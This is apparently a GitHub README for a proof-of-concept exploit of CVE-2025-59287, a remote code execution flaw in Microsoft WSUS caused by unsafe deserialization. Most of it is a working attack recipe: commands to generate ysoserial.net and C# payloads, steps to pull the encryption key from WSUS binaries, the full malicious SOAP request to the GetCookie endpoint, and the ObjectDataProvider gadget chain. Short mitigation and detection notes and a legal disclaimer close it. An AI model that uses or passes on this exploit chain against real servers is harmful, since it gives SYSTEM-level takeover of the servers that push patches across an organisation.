maxymgorn/cve-2025-59287-exploit-pocProof-of-concept exploit for CVE-2025-59287, a critical unauthenticated RCE in WSUS via unsafe BinaryFormatter deserialization, achieving SYSTEM privileges through crafted encrypted cookies.
CVE-2025-59287 is a critical Remote Code Execution (RCE) vulnerability in Microsoft Windows Server Update Services (WSUS). The vulnerability is caused by unsafe deserialization of AuthorizationCookie data through BinaryFormatter in the EncryptionHelper.DecryptData() method.
Impact: Unauthenticated attackers can achieve remote code execution with SYSTEM privileges by sending malicious encrypted cookies to the GetCookie() endpoint.
CVSS Score: Critical (9.8)
BinaryFormatter.Deserialize() called on untrusted input without proper validation┌─────────────────┐
│ Attacker │
│ │
│ 1. Generate │
│ BinaryFmt │
│ Payload │
│ │
│ 2. Encrypt │
│ Payload │
│ │
│ 3. Send SOAP │
│ Request │
└────────┬────────┘
│
▼
┌─────────────────┐
│ WSUS Server │
│ │
│ GetCookie() │
│ Endpoint │
│ │
│ DecryptData() │◄─── Vulnerable
│ │
│ BinaryFormatter│◄─── Unsafe Deserialization
│ Deserialize() │
│ │
│ Execute │◄─── RCE as SYSTEM
│ Payload │
└─────────────────┘
exploit-poc/
├── wsus_exploit.py # Main exploit script
├── BinaryFormatterPayloadGenerator.cs # .NET payload generator (C#)
├── encrypt_payload.py # WSUS encryption helper
├── requirements.txt # Python dependencies
└── README.md # This file
pip install -r requirements.txt
ysoserial.net as alternativeOption A: Using provided C# generator
# Compile the generator
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs
# Generate payload
BinaryFormatterPayloadGenerator.exe calc.exe
# Creates: payload_YYYYMMDDHHMMSS.bin
Option B: Using ysoserial.net (Recommended)
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin
python encrypt_payload.py payload.bin -o encrypted_cookie.txt
IMPORTANT: The encryption key in encrypt_payload.py is a placeholder. For real exploitation, you must:
encrypt_payload.py with the real key# Using payload file (will encrypt on-the-fly)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin
# Using pre-encrypted cookie
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"
# With HTTPS (port 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin
# Generate, encrypt, and exploit in one go
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <TARGET_IP> -f payload_*.bin
The encryption key must be extracted from WSUS binaries for real exploitation.
Locate WSUS DLLs:
%ProgramFiles%\Update Services\WebServices\bin\
Or IIS web directory:
%SystemDrive%\inetpub\wwwroot\wsusadmin\
Open in dnSpy (free .NET decompiler):
Microsoft.UpdateServices.WebServices.dllSearch for EncryptionHelper:
Microsoft.UpdateServices.WebServices namespaceEncryptionHelper classDecryptData() and EncryptData() methodsCommon patterns:
Use WinDbg or x64dbg:
EncryptionHelper.DecryptData()Use Process Monitor:
Use IDA Pro or Ghidra:
Use strings utility:
strings Microsoft.UpdateServices.WebServices.dll | grep -i key
strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
Once you have the actual key, update encrypt_payload.py:
# Replace this line in encrypt_wsus_cookie():
key_material = b"WSUS_Cookie_Encryption_Key_v1.0" # PLACEHOLDER
# With the actual key:
key_material = b"ACTUAL_KEY_FROM_WSUS_BINARIES"
Or pass it via command line:
python encrypt_payload.py payload.bin -k "ACTUAL_KEY"
┌─────────────────────────────────────────────────────────────┐
│ 1. Generate BinaryFormatter Payload │
│ ObjectDataProvider → Process.Start() → Command Execution │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 2. Encrypt Payload │
│ AES-128-CBC with WSUS encryption key │
│ Base64 encode for transmission │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 3. Create SOAP Request │
│ AuthorizationCookie header contains encrypted payload │
│ GetCookie() method in SOAP body │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 4. Send to WSUS Endpoint │
│ POST /ClientWebService/ClientWebService.asmx │
│ Port 8530 (HTTP) or 8531 (HTTPS) │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 5. WSUS Processing │
│ DecryptData() decrypts cookie │
│ BinaryFormatter.Deserialize() executes payload │
│ → RCE as SYSTEM │
└─────────────────────────────────────────────────────────────┘
POST /ClientWebService/ClientWebService.asmx HTTP/1.1
Host: <TARGET>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
User-Agent: WSUS Client
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
BASE64_ENCRYPTED_BINARYFORMATTER_PAYLOAD
</AuthorizationCookie>
</soap:Header>
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<cookieType>AuthorizationCookie</cookieType>
</GetCookie>
</soap:Body>
</soap:Envelope>
The exploit uses the ObjectDataProvider gadget chain:
ObjectDataProvider provider = new ObjectDataProvider();
provider.ObjectInstance = new Process();
provider.MethodName = "Start";
provider.MethodParameters = new Collection<object> { processStartInfo };
When BinaryFormatter.Deserialize() processes this, it automatically:
ObjectDataProviderMethodName ("Start") on ObjectInstance (Process)MethodParameters (ProcessStartInfo)Apply Microsoft Security Update: Patch immediately
Temporary Workaround: Block ports if WSUS not needed
# Block inbound traffic on WSUS ports
New-NetFirewallRule -DisplayName "Block WSUS" -Direction Inbound -LocalPort 8530,8531 -Protocol TCP -Action Block
Network Segmentation: Restrict access to WSUS endpoints
Replace BinaryFormatter: Microsoft should replace with secure serialization
System.Text.Json or System.Xml.Serialization with type validationInput Validation: Add comprehensive validation
Principle of Least Privilege: Run WSUS services with minimal privileges
Check WSUS logs for:
%ProgramFiles%\Update Services\LogFiles\
Look for:
Monitor for:
/ClientWebService/ClientWebService.asmx⚠️ WARNING: This exploit code is provided for authorized security testing only.
✅ Legal Uses:
❌ Illegal Uses:
Unauthorized use of this exploit may result in criminal prosecution. Use responsibly and ethically.
Remember: Always test in isolated, controlled environments. Never use against systems you don't own or lack explicit permission to test.